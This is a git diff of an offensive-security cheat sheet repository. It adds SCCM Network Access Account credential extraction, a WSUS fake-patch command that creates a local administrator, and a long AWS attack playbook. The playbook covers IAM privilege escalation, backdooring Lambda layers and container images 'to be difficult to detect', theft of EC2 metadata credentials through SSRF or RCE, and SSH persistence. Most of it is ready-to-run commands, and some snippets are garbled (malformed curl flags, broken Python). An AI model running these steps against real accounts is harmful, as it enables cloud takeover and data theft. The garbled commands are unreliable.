inspect /server: /groups ``` * Compromise management server, use locate to find primary server -* use Inspect on primary server to view who you can target +* Use `inspect` on primary server to view who you can target ```ps1 MalSCCM.exe inspect /all MalSCCM.exe inspect /computers @@ -3504,6 +3580,28 @@ python Exchange2domain.py -ah attackterip -u user -p password -d domain.com -th MalSCCM.exe group /delete /groupname:TargetGroup ``` + +### SCCM Network Access Accounts + +> If you can escalate on a host that is an SCCM client, you can retrieve plaintext domain credentials. + +* Find SCCM blob + ```ps1 + Get-Wmiobject -namespace "root\ccm\policy\Machine\ActualConfig" -class "CCM_NetworkAccessAccount" + NetworkAccessPassword : + NetworkAccessUsername : + ``` +* Using [SharpDPAPI](https://github.com/GhostPack/SharpDPAPI/blob/81e1fcdd44e04cf84ca0085cf5db2be4f7421903/SharpDPAPI/Commands/SCCM.cs#L208-L244) for SCCM retrieval and decryption + ```ps1 + .\SharpDPAPI.exe SCCM + ``` +* Check ACL for the CIM repository located at `C:\Windows\System32\wbem\Repository\OBJECTS.DATA`: + ```ps1 + Get-Acl C:\Windows\System32\wbem\Repository\OBJECTS.DATA | Format-List -Property PSPath,sddl + ConvertFrom-SddlString "" + ``` + + ### WSUS Deployment > Windows Server Update Services (WSUS) enables information technology administrators to deploy the latest Microsoft product updates. You can use WSUS to fully manage the distribution of updates that are released through Microsoft Update to computers on your network @@ -3514,7 +3612,7 @@ python Exchange2domain.py -ah attackterip -u user -p password -d domain.com -th 1. Locate using `HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate` or `SharpWSUS.exe locate` 2. After WSUS Server compromise: `SharpWSUS.exe inspect` -3. Create a malicious patch: `SharpWSUS.exe create /payload:"C:\Users\ben\Documents\pk\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \"net user WSUSDemo Password123! /add && net localgroup administrators WSUSDemo /add\"" /title:"WSUSDemo"` +3. Create a malicious patch: `SharpWSUS.exe create /payload:"C:\Users\ben\Documents\pk\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \"net user WSUSDemo Password123! /add ^& net localgroup administrators WSUSDemo /add\"" /title:"WSUSDemo"` 4. Deploy it on the target: `SharpWSUS.exe approve /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127 /computername:bloredc2.blorebank.local /groupname:"Demo Group"` 5. Check status deployment: `SharpWSUS.exe check /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127 /computername:bloredc2.blorebank.local` 6. Clean up: `SharpWSUS.exe delete /updateid:5d667dfd-c8f0-484d-8835-59138ac0e127 /computername:bloredc2.blorebank.local /groupname:”Demo Group` @@ -3821,7 +3919,7 @@ CME 10.XXX.XXX.XXX:445 HOSTNAME-01 [+] DOMAIN\COMPUTER$ 31d6cfe0d16ae * [Playing with Relayed Credentials - June 27, 2018](https://www.secureauth.com/blog/playing-relayed-credentials) * [Exploiting CVE-2019-1040 - Combining relay vulnerabilities for RCE and Domain Admin - Dirk-jan Mollema](https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/) * [Drop the MIC - CVE-2019-1040 - Marina Simakov - Jun 11, 2019](https://blog.preempt.com/drop-the-mic) -* [How to build a SQL Server Virtual Lab with AutomatedLab in Hyper-V - October 30, 2017 - Craig Porteous](https:/www.sqlshack.com/build-sql-server-virtual-lab-automatedlab-hyper-v/) +* [How to build a SQL Server Virtual Lab with AutomatedLab in Hyper-V - October 30, 2017 - Craig Porteous](https://www.sqlshack.com/build-sql-server-virtual-lab-automatedlab-hyper-v/) * [SMB Share – SCF File Attacks - December 13, 2017 - @netbiosX](pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/) * [Escalating privileges with ACLs in Active Directory - April 26, 2018 - Rindert Kramer and Dirk-jan Mollema](https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/) * [A Red Teamer’s Guide to GPOs and OUs - APRIL 2, 2018 - @_wald0](https://wald0.com/?p=179) @@ -3873,3 +3971,5 @@ CME 10.XXX.XXX.XXX:445 HOSTNAME-01 [+] DOMAIN\COMPUTER$ 31d6cfe0d16ae * [DIVING INTO PRE-CREATED COMPUTER ACCOUNTS - May 10, 2022 - By Oddvar Moe](https://www.trustedsec.com/blog/diving-into-pre-created-computer-accounts/) * [How NOT to use the PAM trust - Leveraging Shadow Principals for Cross Forest Attacks - Thursday, April 18, 2019 - Nikhil SamratAshok Mittal](http://www.labofapenetrationtester.com/2019/04/abusing-PAM.html) * [Shadow Credentials - The Hacker Recipes](https://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials) +* [Network Access Accounts are evil… - ROGER ZANDER - 13 SEP 2015](https://rzander.azurewebsites.net/network-access-accounts-are-evil/) +* [The Phantom Credentials of SCCM: Why the NAA Won’t Die - Duane Michael - Jun 28](https://posts.specterops.io/the-phantom-credentials-of-sccm-why-the-naa-wont-die-332ac7aa1ab9) diff --git a/Methodology and Resources/Cloud - AWS Pentest.md b/Methodology and Resources/Cloud - AWS Pentest.md index 1067bf4..480bcce 100644 --- a/Methodology and Resources/Cloud - AWS Pentest.md +++ b/Methodology and Resources/Cloud - AWS Pentest.md @@ -28,6 +28,7 @@ - [Cover tracks by obfuscating Cloudtrail logs and Guard Duty](#cover-tracks-by-obfuscating-cloudtrail-logs-and-guard-duty) - [DynamoDB](#dynamodb) - [Security checks](#security-checks) + - [AWSome Pentesting Cheatsheet](#awsome-pentesting-cheatsheet) - [References](#references) ## Training @@ -181,7 +182,9 @@ find_admins: Look at IAM policies to identify admin users and roles, or principals with specific privileges ``` -* [dufflebag](https://labs.bishopfox.com/dufflebag) - Find secrets that are accidentally exposed via Amazon EBS’s “public” mode +* [dufflebag](https://labs.bishopfox.com/dufflebag) - Find secrets that are accidentally exposed via Amazon EBS's "public" mode +* [NetSPI/AWS Consoler](https://github.com/NetSPI/aws_consoler) - Convert AWS Credentials into a console access + ## AWS Patterns @@ -638,7 +641,7 @@ $ aws --endpoint-url http://s3.bucket.htb dynamodb scan --table-name users | jq ## Security checks -https://github.com/DenizParlak/Zeus +Security checks from [DenizParlak/Zeus: AWS Auditing & Hardening Tool](https://github.com/DenizParlak/Zeus) * Identity and Access Management * Avoid the use of the "root" account @@ -688,6 +691,1630 @@ https://github.com/DenizParlak/Zeus * Ensure a log metric filter and alarm exist for route table changes * Ensure a log metric filter and alarm exist for VPC changes +## AWSome Pentesting Cheatsheet + +* Created by pop3ret + +## Searching for open buckets + +``` +https://buckets.grayhatwarfare.com/ +``` + +## ARN + +A number to identify an object in AWS + +Example + +``` +arn:aws:iam:100:user/admin +``` + +1. Field -> ARN +2. Field -> Type, most of time will be AWS +3. Field -> service, in this case IAM +4. Field -> User ID +5. Field -> entity identifier + +## IAM +* It's assumed that we have gain access to the AWS Credentials +* We can see if we have permissions using [Amazon's policy simulator](**[https://policysim.aws.amazon.com/](https://policysim.aws.amazon.com/)**) +* Always look for policies and roles with the * symbol. +* See which user do not have MFA enabled +* User enumeration in IAM Panel and group enumeration +* We can also enumerate roles from the same interface +* Root user is super admin + +## Configure AWS cli + +``` +aws configure +``` + +Or configure it using a profile + +``` +aws configure --profile example_name +``` + +The credential file is located in `~/.aws/credentials` + +## Listing IAM access Keys + +``` +aws iam list-acess-keys +``` + +## 1. Enumerating IAM users + +### Checking credentials for the user + +``` +aws sts get-caller-identity +``` + +### Listing IAM Users + +``` +aws iam list-users +``` + +### Listing the IAM groups that the specified IAM user belongs to + +``` +aws iam list-groups-for-user --user-name user-name +``` + +### Listing all manages policies that are attached to the specified IAM user + +``` +aws iam list-attached-user-policies --user-name user-name +``` + +### Listing the names of the inline policies embedded in the specified IAM user + +``` +aws iam list-user-policies --user-name user-name +``` + +## 2. Enumerating Groups IAM + +### Listing IAM Groups + +``` +aws iam list-groups +``` + +### Listing all managed policies that are attached to the specified IAM Group + +``` +aws iam list-attached-group-policies --group-name group-name +``` + +### Listing the names of the inline policies embedded in the specified IAM Group + +``` +aws iam list-group-policies --group-name group name +``` + +## 3. Enumeratig Roles + +### Listing IAM Roles + +``` +aws iam list-roles +``` + +### Listsing all managed policies that are attached to the specified IAM role + +``` +aws iam list-attached-role-policies --role-name role-name +``` + +### Listing the names of the inline policies embedded in the specified IAM role + +``` +aws iam list-role-policies --role-name role-name +``` + +## 4. Enumerating Policies + +### Listing of IAM Policies + +``` +aws iam list-policies +``` + +### Retrieving information about the specified managed policy + +``` +aws iam get-policy --policy-arn policy-arn +``` + +### Listing information about the versions of the specified manages policy + +``` +aws iam list-policy-versions --policy-arn policy-arn +``` + +### Retrieving information about the specific version of the specified managed policy + +``` +aws iam get-policy-version --policy-arn policy-arn --version-id version-id +``` + +### Retrieving the specified inline policy document that is embedded on the specified IAM user / group / role + +``` +aws iam get-user-policy --user-name user-name --policy-name policy-name + +aws iam get-group-policy --group-name group-name --policy-name policy-name + +aws iam get-role-policy --role-name role-name --policy-name policy-name +``` + +## 5. Exploitation Scenario + +### General Guidelines +* AWS token compromised (Developer machine, phishing etc) and we as attackers will gonna use it. + +### Enumerating the owner of the key and initial compromise + +``` +aws sts get-caller-identity +``` + +Or specifing a profile + +``` +aws sts get-caller-identity --profile example_name +``` + +If you have the password of the root account instead of key, log in + +``` +https://signin.aws.amazon.com/console +``` + +Or use the IAM in case the account is not the root + +``` +https://account-id-here.signin.aws.amazon.com/console +``` + +*The account id can be cathered using the sts get caller command.* + +### Privilege Escalation +* Privilege escalation on AWS is based on misconfigurations, if we have more permissions than necessary, its possible to obtain higher privileges. + +#### Study Case +* A user was compromised with the *List Policy* and *Put User Policy* permissions, an attacker could leverage this *Put User* privilege to add an inline administrator to itself, making it administrator of the instance. + +##### Exploitation +1. Getting the IAM user + +``` +aws sts get-caller-identity +``` + +2. Listing policies attached to an user + +``` +aws iam list-attached-user-policies --user-name example_name -- profile example_profile +``` + +3. Retrieving informations about an specific policy + +``` +aws iam get-policy --policy-arn policy_arn +``` + +If there are more than one version of the policy, we can also list them + +``` +aws iam list-policy-versions --policy-arn policy_arn +``` + +Now we can finally retrieve the contents of the policy + +``` +aws iam get-policy-version --policy-arn example_arn --version-id id_example +``` + +*It's important to use the command above to chech the information about the default policy* + +4. Escalation + +If we have the PutUserPolicy is enabled, we can add an inline administrator policy to our user. + +Administrator policy example + +```json +{ + "Version": "2021-10-17", + "Statement" : [ + { + "Effect":"Allow", + "Action": [ + "*" + ], + "Resource":[ + "*" + ] + } + ] +} +``` + +### Attaching this policy into our user + +``` +aws iam put-user-policy --user-name example_username --policy-name example_name --policy-document file://AdminPolicy.json +``` + +### Listing inline policies of our user + +``` +aws iam list-user-policies --user-name example_name +``` + +### Listing a restricted resource (Example S3) + +``` +aws s3 ls --profile example_profile +``` + +### Interesting Permissions + +* iam:AttachUserPolicy -> Attach a policy to a user +* iam:AttachGroupPolicy -> Attach a policy to a group +* iam:AttachRolePolicy -> Attach a policy to a role +* iam:CreateAccessKey -> Creates a new access key +* iam:CreateLoginProfile -> Creates a new login profile +* iam:UpdateLoginProfile -> Update an existing login profile +* iam:PassRole and ec2:RunInstances -> Creates an EC2 instance with an existing instance profile +* iam:PuserUserPolicy -> Create/Update an inline policy +* iam:PutGroupPolicy -> Create/Update an inline policy for a group +* iam:PutRolePolicy -> Create/Update an inline policy for a role +* iam:AddUserToGroup -> Add an user to a group +* iam:UpdateAssumeRolePolicy and sts:AssumeRole -> Update the AssumeRolePolicyDocument of a role +* iam:PassRole,lambda:CreateFunction and lambda:InvokeFunction -> Pass a role to a new lambda function and invoke it +* lambda:UpdateFunctionCode -> Update the code of an existing lambda function + +### Persistence & Backdooring +* Suppose we have two users, the user A has permissions to create Access Keys to user B, this misconfig allows us to create an access key for user B and persist our access. + +#### Creating a new acess key for another user + +``` +aws iam create-access-key --username example_username +``` + +#### Configuring AWS cli for the new user + +``` +aws configure --profile example_profile +``` + +*Remember, an user can have the maximum of 2 access keys*. + +#### Testing the credential + +``` +aws sts get-caller-identity --profile example_profile +``` + +#### Accessing more credentials +* It's possible to assume other roles with the sts:AssumeRole permission (Example: An user doesn't have access to an s3 instance, but it has this permission, we can easily assume other roles if we are in the trust relashionship, increasing our access in the instance) + +##### Listing managed policies attached to an user + +``` +aws iam list-attached-user-policies --user-name example_name +``` + +##### Retrieving information about an specific policy + +``` +aws iam get-policy --policy-arn ARN +``` + +##### Listing information about the version of the policy + +``` +aws iam list-policy-versions --policy-arn ARN +``` + +##### Retrieving information about an specific version + +``` +aws iam get-policy-version --policy-arn policy_arn --version-id ID +``` + +##### Listing IAM roles + +``` +aws iam list-roles +``` + +##### Listing trust relashionship between role and user (Which roles we can assume) + +``` +aws iam get-role --role-name role_name +``` + +##### Listing all managed policies attached to the specific IAM role + +``` +aws iam liast-attached-role-policies --role-name role_name +``` + +##### Retrieving information about the specified version of the policy + +``` +aws iam get-policy-version --policy-arn policy_arn --version-id ID +``` + +##### Getting temporary credentials for the role + +``` +aws sts assume-role --role-arn role_arn --role-session-name session_name +``` + +##### Configuring AWS cli with newer credentials (On Linux) + +``` +export AWS_ACCESS_KEY_ID +export AWS_SECRET_KEY +export AWS_SESSION_TOKEN +``` + +##### Getting information about the temporary credential + +``` +aws sts get-caller-identity +``` + +## S3 - Simple Storage System + +* Storage system that allow users to store and retrieve data. +* List,Get,Put and Delete operations can be performed on the objects of the bucket +* Buckets are global, meaning that they are available to all regions +* It's possible to bruteforce the bucket name and region in the URL +* Its possible to apply ACL's to bucket and object level and bucket policies for bucket level +* There is also time limited URL's and identity based policies +* Identity policies are enumerated using IAM commands + +## Enumeration + +### Listing all buckets in aws account + +``` +aws s3api list-buckets +``` + +### Getting information about a specific bucket + +``` +aws s3api get-bucket-acl --bucket name +``` + +### Getting information about a specific bucket policy + +``` +aws s3api get-bucket-policy --bucket name +``` + +### Getting the Public Access Block configuration for an S3 bucket + +``` +aws s3api get-public-access-block --bucket name +``` + +### Listing all objects in a specific bucket + +``` +aws s3api list-objects --bucket name +``` + +### Getting ACL information about specific object + +``` +aws s3api get-object-acl --bucket-name name --key object_name +``` + +## Data Exfiltration +* It's possible to brute-force files in the bucket +* If the bucket is misconfigured, we can read data through web browser, cli/api or time-based URL. + +### Public Access + +* Just enter the URL in the browser + +``` +https://bucket-name.region.amazonaws.com/secret.txt +``` + +### Authenticated User + +``` +aws s3api get-object --bucket name --key object-name download-file-location +``` + +### Time-Based Url + +* Generate a time based url for an object +* Userful if the object is not public + +``` +aws s3 presign s3://bucket-name/object-name --expires-in 605000 +``` + +## Lambda & API Gateway +* Serverless event driven platform +* Runs code in response to events and automatically manages computing resources required by that code +* Can trigger from other AWS services or call directly from the API Gateway +* A lambda function is a piece of code that is executed whenever is triggered by an event from an event source +* API Gateway is an AWS service for creating, publishing, maintaining, monitoring and securing REST, HTTP and WebSocket API +* API Gateway can be used to trigger lambda functions in a synchronous (api gateway), asynchronous (event) or stream (Poll Based) way. +* If we found a lambda function that access an S3 (Example) its possible to change its code and gain access to the files. +* If API Gateway is used, we can enumerate the API to see how its possible to invoke the lambda function (Craft the URL). + +## Enumeration + +### Listing All lambda functions + +``` +aws lambda list-functions +``` + +### Listing information about a specific lambda function + +``` +aws lambda get-function --function-name function_name +``` + +* *This command enables us to download the source code of the lambda function* + +### Listing policy information about the function + +``` +aws lambda get-policy --function-name function_name +``` + +* We can get informations like who can execute this functions, ID and other informations with this command + +### Listing the event source mapping information about a lambda function + +``` +aws lambda list-event-source-mappings --function-name function_name +``` + +### Listing Lambda Layers (Depedencies) + +``` +aws lambda list-layers +``` + +### Listing full information about a lambda layer + +``` +aws lambda get-layer-version --layer-name name --version-number version_number +``` + +### Listing Rest API'S + +``` +aws apigateway get-rest-apis +``` + +### Listing information about a specific API + +``` +aws apigateway get-rest-api --rest-api-id ID +``` + +### Listing information about endpoints + +``` +aws apigateway get-resources --rest-api-id ID +``` + +### Listing information about a specific endpoint + +``` +aws apigateway get-resource --rest-api-id ID --resource-id ID +``` + +### Listing method information for the endpoint + +``` +aws apigateway get-method --rest-api-id ApiID --resource-id ID --http-method method +``` + +* Test various methods to see if the API supports it. + +### Listing all versions of a rest api + +``` +aws apigateway get-stages --rest-api-id ID +``` + +### Getting informatin about a specific version + +``` +aws apigateway get-stage --res-api-id ID --stage-name NAME +``` + +### Listing API KEYS + +``` +aws apigateway get-api-keys --include-values +``` + +### Getting information about a specific API Key + +``` +aws apigateway get-api-key --api-key KEY +``` + +## Initial Access + +* Its possible to get RCE through API Gateway if it executes commands. +* If you can execute commands, there is a way to retrieve keys from the API Gateway, just use `env` , configure `aws cli` and proceed with the exploitation. + +## Credential Access + +Getting credentials from Lambda can be done in 2 ways + +1. Keys in the source code +2. Keys in the enviroment variables + +These keys can be gathered using SSRF, RCE and so on. + +### Getting credentials using RCE + +``` +https://apigateway/prod/system?cmd=env +``` + +### Getting credentials using SSRF + +``` +https://apigateway/prod/example?url=http://localhost:9001/2018-06-01/runtime/invocation/next +``` + +### Getting credentials using SSRF and wrappers + +``` +https://apigateway/prod/system?cmd=file:///proc/self/environ +``` + +### Getting credentials from lambda enviroment variables (cli) + +``` +aws lambda get-function --function-name NAME +``` + +* It's important to enumerate the functions first with `aws lambda list-functions` + +## Persistence +* If the user has sufficient rights in the lambda function, its possible to download the source code, add a backdoor to it and upload. Everytime the lambda executes, the malicious code will also execute. +* Always try to update the code of layers (depedencies) instead of the actual lambda code, this way our backdoor will be difficult to detect. + +### Checking which user is executing + +``` +aws sts get-caller-identity +``` + +### Checking all managed policies attached to the user + +``` +aws iam list-attached-user-policies --user-name user_name +``` + +### Checking informations about a specific policy + +``` +aws iam get-policy-version --policy-arn arn --version-id ID +``` + +### Listing all lambda functions + +``` +aws lambda list-functions --region region +``` + +### Listing information about the specified lambda + +``` +aws lambda get-function --function-name name +``` + +* Download and analyze the codes + +### Listing policy information about the specific lambda function + +``` +aws lambda get-policy --function-name name --profile profile --region region +``` + +* We can grab informations like id, who can invoke and other details with this command (Helps to build the query to execute the lambda function). + +### Listing Rest API'S + +``` +aws apigateway get-rest-apis +``` + +### Listing information about a specific API + +``` +aws apigateway get-rest-api --rest-api-id ID +``` + +### Listing information about endpoints + +``` +aws apigateway get-resources --rest-api-id ID +``` + +### Listing information about a specific endpoint + +``` +aws apigateway get-resource --rest-api-id ID --resource-id ID +``` + +### Listing method information for the endpoint + +``` +aws apigateway get-method --rest-api-id ApiID --resource-id ID --http-method method +``` + +* Test various methods to see if the API supports it. + +### Listing all versions of a rest api + +``` +aws apigateway get-stages --rest-api-id ID +``` + +### Getting informatin about a specific version + +``` +aws apigateway get-stage --res-api-id ID --stage-name NAME +``` + +### Uploading the backdoor code to aws lambda function + +``` +aws lambda update-function-code --function-name function --zip-file fileb://my-function.zip +``` + +### Invoke the Function + +``` +curl https://uj3948ie.execute-api.us-east-2.amazonaws.com/default/EXAMPLE +``` + +Where + +1. API-ID -> uj3948ie +2. Region -> us-east-2 +3. Resource (Endpoint) -> EXAMPLE +4. Method -> Get +5. Stage (Version) -> default +6. API-Key -> None + +*All these details are gathered during the enumeration.* + +## Privilege Escalation +* If we have a user with PassRole and CreateFunction roles and also AttachRolePolicy role in a Lambda Function, its possible to create a function with a code that changes the lambda role to admin then the user to Administrator. + +### Create a lambda function and attach a role to it + +``` +aws lambda create-function --function-name my-function --runtime python3.7 --zip-file fileb://my-function.zip --handler my-function.handler --role ARN --region region +``` + +* Inside the function's code, we will add the administrator permission to the role and to the user + +#### Example code to add the permissions + +```python +import boto3 +import json + +def handler(event,context) + iam = boto3.client("iam") + iam.attach.role.policy(RoleName="name",PolicyArn="arn",) + iam.attach.user.policy(UserName="name",PolicyArn="arn",) + return { + 'statusCode':200 + 'body':json.dumps("Pwned") + } +``` + +### Invoke a lambda function + +``` +aws lambda invoke --function-name name response.json --region region +``` + +### Listing managed policies to see if the change worked + +``` +aws iam list-attached-user-policies --user-name user_name +``` + +## AWS Secret Manager + +* AWS Service that encrypts and store secrets +* Transparently decrypts and return in plaintext +* KMS used to store keys (AWS Key and Customer Managed Key) +* Asymmetric and Symmetric keys can be created using KMS + + +## Enumeration + +### Listing all secrets stored by Secret Manager + +``` +aws secretsmanager list-secrets +``` + +### Listing information about a specific secret + +``` +aws secretsmanager describe-secret --secret-id name +``` + +### Getting policies attached to the specified secret + +``` +aws secretsmanager get-resource-policy --secret-id ID +``` + +### Listing keys in KMS + +``` +aws kms list-keys +``` + +### Listing information about a specific key + +``` +aws kms describe-key --key-id ID +``` + +### Listing policies attached to a specific key + +``` +aws kms list-key-policies --key-id ID +``` + +### Getting full information about a policy + +* Shows who can access the keys + +``` +aws kms get-key-policy --policy-name name --key-id ID +``` + +## Credential Exfiltration + +* If the user has access to Secret Manager, it can decrypt the secrets using the web, cli or API + +### Listing policies attached to an user + +``` +aws iam list-attached-user-policies --user-name name +``` + +### Retrieving information about a specific version of policy + +* Here we can see the permissions + +``` +aws iam get-policy-version --policy-arn arn --version-id id +``` + +### Listing all secrets stored by Secret Manager + +``` +aws secretsmanager list-secrets +``` + +### Listing information about a specific secret + +* Here we get the secret Key Id to descript the secret + +``` +aws secretsmanager describe-secret --secret-id name +``` + +### Getting resource-based policy attached to an specific secret + +``` +aws secretsmanager get-resource-policy --secret-id ID +``` + +### Getting the secret value + +* Retrieves the actual value + +``` +aws secretsmanager get-secret-value --secret-id ID +``` + +### KMS + +* If we compromised as an example an S3 with an encrypted file, we can decrypt it using the keys stored in KMS. + +#### Listing an specific key + +``` +aws kms describe-key --key-id id +``` + +#### Listing policies attached to an specified key + +* Here we can see who can access the key, the description of it and so on + +``` +aws kms list-key-policies --key-id ID +``` + +#### Listing full information about a policy + +* Run the previous command in all keys to see who can access it + +``` +aws kms get-key-policy --policy-name name --key-id ID +``` + +#### Decrypt the secret using the key + +* There is no need to specificy the key information because this information is embbeded in the encrypted file + +``` +aws kms decrypt --ciphertext-blob fileb://EncryptedFile --output text --query plaintext +``` + +## Containers + +Divided into three categories + +* Registry -> Secure place to store container images (ECR) +* Orchestration -> Configure when and where the containters run (ECS,EKS) +* Compute -> Use to do computing related tasks (EC2, Fargate) +* Its possible to create a backdoor image and add to a EKS cluster +* Always look how VPC's are communicatig with each other, maybe is possible to pivot through the EKS VPC from other VPC and compromise the entire cluster + +## Initial Access + +* The initial access can be done by exploiting some RCE in webapp to get access to the container, afterwards its possible to compromise the EC2. + +After the RCE, we can list all secrets in EKS + +``` +https://website.com?rce.php?cmd=ls /var/run/secrets/kubernets.io/serviceaccount +``` + +### Getting the secret information from EKS + +``` +https://website.com?rce.php?cmd=ls /var/run/secrets/kubernets.io/serviceaccount/token +``` + +* It's also possible to do sandbox escaping (Tool: ``deepce``) + +## Enumeration + +### ECR + +#### Listing all repositories in container registry + +``` +aws ecr describe-repositories +``` + +#### Listing information about repository policy + +``` +aws ecr get-repository-policy --repository-name name +``` + +#### Listing all images in a specific repository + +``` +aws ecr list-images --repository-name name +``` + +#### Listing information about an image + +``` +aws ecr describe-images --repository-name name --images-ids imageTag=name +``` + +### ECS + +#### Listing all ECS clusters + +``` +aws ecs list-clusters +``` + +#### Listing information about an specific cluster + +``` +aws ecs describe-clusters --cluster name +``` + +#### Listing all services in specified cluster + +``` +aws ecs list-services --cluster name +``` + +#### Listing information about an specific service + +``` +aws ecs descibe-services --cluster name --services name +``` + +* This command shows the logs of the service + +#### Listing tasks in specific cluster + +``` +aws ecs list-tasks --cluster name +``` + +#### Listing information about an specific task + +``` +aws ecs describe-tasks --cluster name -tasks taskArn +``` + +* Also shows information about network, userful if trying to pivot + +#### Listing all containers in specified cluster + +``` +aws ecs list-container-instances --cluster name +``` + +### EKS + +#### Listing all EKS clusters + +``` +aws eks list-clusters +``` + +#### Listing information about an specific cluster + +``` +aws eks describe-cluster --name name +``` + +#### Listing all node groups in specified cluster + +``` +aws eks list-nodegroups --cluster-name name +``` + +#### Listing specific information about a node group in a cluster + +``` +aws eks describe-nodegroup --cluster-name name --nodegroup-name name +``` + +#### Listing Fargate in specified cluster + +``` +aws eks list-fargate-profiles --cluster-name cluster-name +``` + +#### Listing information about a fargate profile in a cluster + +``` +aws eks describe-fargate-profiles --cluster-name name --fargate-profile-name name +``` + +## Persistence + +* It's possible to modify an existing docker image with a backdoor, when this image is used it will trigger our team server. + +### Enumerating the user + +``` +aws sts get-caller-identity +``` + +### Listing manager policies attached to the IAM role + +``` +aws iam list-attached-role-policies --role-name name +``` + +### Getting information about the version of the managed policy + +``` +aws iam get-policy-version --policy-arn arn --version-id id +``` + +### Getting information about the repositories in container registry + +``` +aws ecr describe-repositories +``` + +### Listing all images in the repository + +``` +aws ecr list-images --repository-name name +``` + +### Listing information about an image + +``` +aws ecr describe-images --repository-name name --image-ids imageTag=Name +``` + +### Authenticate the docker daemon to ECR + +``` +aws ecr get-login-password --region region | docker login --username AWS --password-stdin ecr_address +``` + +### Building images with backdoor + +``` +docker build -t image_name +``` + +### Tagging the docker image + +``` +docker tag image_name ecr_addr:Image_Name +``` + +### Pushing the image to ECR + +``` +docker push ecr_addr:Image_Name +``` + +## EC2 + +* AMI, images used to create virtual machines +* It's possible to create a malicious image to compromise users +* We can access an instance using SSH Keys, EC2 Instance Connect, Session Manager +* The SSH Key method is permanent, we need to gather the private key to connect to the instance +* EC2 Instance connect is an IAM right that we can add to a user, enabling us to temporarily connect to an instance +* Session manager only work in browser and it does not need SSH Key +* Windows machines can be accessed by using RDP, Session Manager +* Security Groups acts as a virtual firewall to control inbound and outbound traffic, acts at the instance level, not the subnet level. + +## Enumeration + +### Listing information about all instances + +``` +aws ec2 describe-instances +``` + +### Listing information about a specific region + +``` +aws ec2 describe-instances --region region +``` + +### Listing information about specific instance + +``` +aws ec2 describe-instances --instance-ids ID +``` + +### Extracting UserData attribute of specified instance + +``` +aws ec2 describe-instance-attribute --attribute userData --instance-id instanceID +``` + +*This command gathers the metadata from the instance, like commands or secrets. The output is base64 encoded* + +### Listing roles of an instance + +``` +aws ec2 describe-iam-instance-profile-associations +``` + +## Exploitation +* Initial access can happen by RCE or SSRF +* Metadata can be used to exfiltrate information from the instance + +### Remote code execution + +#### AWS Metadata +If we have remote code execution or SSRF, we can grab metadata information + +``` +curl http://169.254.169.254/latest/meta-data +``` + +##### Grabbing the keys to access the instance + +``` +curl http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance +``` + +##### Grabbing the keys in metadata version 2 + +```bash +TOKEN=`curl +X PUT "http://169.254.169.254/latest/ api /token" H "X-aws-ec2-metadata-token-ttl-seconds: 21600"` +&& curl H "X-aws-ec2-metadata-token: $TOKEN" v http://169.254.169.254/latest/meta-data/ +``` + +#### AWS Userdata + +Version 1 + +``` +curl http://169.254.169.254/latest/user-data/ +``` + +Version 2 + +```bash +TOKEN=`curl +X PUT "http://169.254.169.254/latest/ api /token" H "X-aws-ec2-metadata-token-ttl-seconds: 21600"` +&& curl H "X-aws-ec2-metadata-token: $TOKEN" v http://169.254.169.254/latest/user-data/ +``` + +### Privilege Escalation +* One approach to get a shell in a instance is to put a reverse shell in UserData attribute, when the instance is launched, we will have the connection. +* Another approach happens when we have the iam:PassRole and iam:AmazonEC2FullAccess permissions, we can add an administrator role to the compromised EC2 instance and access aws services. + +#### Getting information about the key + +``` +aws sts get-caller-identity +``` + +#### Getting policies attached to the IAM user + +``` +aws iam list-attached-user-policies --user-name user_name +``` + +#### Getting information about a specific policy version + +``` +aws iam get-policy-version --policy-arn ARN --version-id ID +``` + +To attach a role to an EC2 instance, we can use the RCE to grab the ID + +``` +curl http://169.254.169.254/latest/meta-data/instance-id +``` + +#### Listing instance profiles + +``` +aws iam list-instance-profiles +``` + +#### Attach an instance profile to an EC2 instance + +``` +aws ec2 associate-iam-instance-profile --instance-id ID --iam-instance-profile Name=ProfileName +``` + +### Credential Access + +* We can grab the credentials by abusing metadata (Web Application with SSRF,RCE and so on) + +#### After the initial access +1. Enumerate the key (Role) + +``` +aws sts get-caller-identity +``` + +2. If there are roles associated with the key, we can grab the credentials by issuing a request to the metadata endpoint (v1 or v2) + +``` +curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_OF_PREVIOUS_COMMAND +``` + +3. Configure the aws cli + +``` +aws configure +``` + +Or use enviroment variables. + +### Persistence +* All the persistence techniques works here, SSH persistence, vim backdoor and so on. + +#### SSH Persistence example + +1. Generate SSH Key pair + +``` +ssh-keygen +``` + +2. Add public key to authorized_keys + +``` +echo "PUBLIC_Key" >> /home/user/.ssh/authorized_keys +``` + +3. Use the private key to connect + +``` +ssh -i public_key user@instance +``` + +# Elastic Block Store +* Block storage system used to store persistent data +* It's possible to attach this drive to EC2 and increase the storage (Like and HD, but scalable). +* It's possible to create a snapshot (It will be saved on S3) and create a volume from this snapshot. +* It's possible to attach the snapshot (Backup of BS) to an EC2 instance +* Snapshots can be used as volumes or AMI's + +## Enumeration + +### Enumerating EBS volumes + +``` +aws ec2 describe-volumes +``` + +* If the volume is available, it can be attached to an EC2 instance +* Check if the EBS is encrypted + +### Enumerating Snapshots + +``` +aws ec2 describe-snapshots --owner-ids self +``` + +* Also check if the snapshot is encrypted + +## Exploitation & Data Exfiltration +* Create a snapshot of an EC2 instance, create a volume from snapshot and attach to other EC2 instance. +* User need to have IAM permissions on EC2 +* Maybe we don't have the right to access the instance but have rights to create a snapshot and attach it to another machine. + +### Creating a snapshot of a specified volume + +``` +aws ec2 create-snapshot --volume volumeID --description "Example" --profile profile_name +``` + +### Listing snapshots + +``` +aws ec2 describe-snapshots +``` + +### Creating a volume from a snasphot + +``` +aws ec2 create-volume --snapshot-id ID --availability-zone ZONE --profile profile_name +``` + +* The volume needs to be in the same availability zone as the instance we have access + +### Attaching the volume to an instance + +``` +aws ec2 attach-volume --volume-id VolumeID --instance-id InstanceID --device /dev/sdfd -> Can be other value +``` + +### 